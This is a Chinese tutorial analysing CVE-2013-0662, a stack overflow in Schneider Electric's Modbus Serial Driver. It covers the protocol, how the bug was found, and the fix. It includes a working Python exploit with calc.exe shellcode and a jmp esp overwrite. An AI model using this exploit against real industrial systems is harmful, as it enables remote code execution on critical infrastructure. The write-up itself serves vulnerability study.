SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用
字数 1295 2025-08-29 08:32:00
SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用教学文档
漏洞概述
CVE-2013-0662是Schneider Electric Modbus Serial Driver 3.4版本中存在的一个栈溢出漏洞。该漏洞存在于ModbusDrv.exe程序中,程序监听27700端口,在处理客户端发送的特定格式数据时会导致栈缓冲区溢出,可能被攻击者利用来执行任意代码。
漏洞环境
- 受影响软件:Schneider Electric Modbus Serial Driver 3.4
- 测试环境:Windows XP SP3
- 监听端口:27700
- 受影响进程:ModbusDrv.exe
漏洞分析
协议处理流程
-
程序首先接收7字节的数据包,结构如下:
struct recv_struct { __int16 nop; // 无用字段(2字节) __int16 key; // 关键字段,决定后续处理流程(2字节) __int16 size; // 控制后续接收数据大小的字段(2字节) char padding; // 填充字节(1字节) }; -
关键处理逻辑:
- 当
key字段值为0xFFFF时,程序会根据size字段的值再次接收数据 - 第二次接收的数据大小由
size-1决定 - 接收的数据会被存入固定大小的栈缓冲区
- 当
漏洞点定位
-
使用IDA交叉引用定位:
- 搜索
recv函数的引用,找到数据接收函数 - 分析调用链找到协议处理主函数
- 搜索
-
使用调试器硬件断点定位:
- 在
recv函数下断点 - 获取接收缓冲区地址
- 在缓冲区设置硬件断点跟踪数据处理过程
- 在
漏洞细节
-
第一次接收:
- 接收7字节数据
- 解析关键字段:
- 第3-4字节:
key字段(大端序) - 第5-6字节:
control_size字段(大端序),后续接收大小为control_size-1
- 第3-4字节:
-
第二次接收:
- 当
key == 0xFFFF时触发 - 接收
control_size-1字节数据到栈缓冲区 - 栈缓冲区大小有限(0x830字节),未进行长度校验导致溢出
- 当
-
数据处理校验:
- 第二次接收的数据前2字节必须为0x0064(大端序)
- 否则调用
ExitThread结束线程 - 有效数据会被复制到另一个栈缓冲区(大小仅0x5DC字节)
漏洞利用
利用条件
- 目标系统:Windows XP SP3(无DEP保护)
- 利用方式:经典的
jmp esp + shellcode方式
利用步骤
-
构造第一次数据包:
- 前2字节:任意值(如\xaa\xbb)
- 第3-4字节:\xff\xff(触发第二次接收)
- 第5-6字节:精心计算的大小值(如\x07\x10)
- 第7字节:填充字节(如\xdd)
-
构造第二次数据包:
- 前2字节:\x00\x64(通过校验)
- 填充数据:覆盖缓冲区(0x5DC字节)
- 覆盖返回地址:使用通用跳转地址(如0x7ffa4512)
- 插入shellcode
- 剩余空间填充
利用代码示例
def calc_exp():
shellcode = "\x90" * 100 # NOP sled
shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5\x63\x61\x6c\x63\x00" # calc.exe shellcode
ip = "192.168.245.134"
port = 27700
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
# 第一次数据包
payload = "\xaa\xbb" # 无用字段
payload += "\xff\xff" # 触发第二次接收
payload += "\x07\x10" # size字段
payload += "\xdd" # 填充字节
# 第二次数据包
payload += "\x00\x64" # 通过校验
payload += "A" * 0x5dc # 填充缓冲区
payload += p32(0x7ffa4512) # 通用jmp esp地址(XP/2003)
payload += shellcode
payload += "B" * (0x710 - 1 - 2 - 0x5dc - 4 - len(shellcode))
sock.send(payload)
漏洞修复
厂商通过添加对长度字段的校验来修复此漏洞,确保接收的数据大小不会超过缓冲区容量。
参考链接
- Exploit-DB上的漏洞详情
- 漏洞利用示例代码
- 相关工具下载链接(原文中提供的百度网盘链接)
总结
该漏洞是典型的栈溢出漏洞,由于缺乏对输入数据长度的校验导致。利用时需要精心构造数据包以通过程序的各种校验,最终通过覆盖返回地址实现代码执行。在实际利用中,需要注意目标系统的环境差异,特别是跳转地址的选择。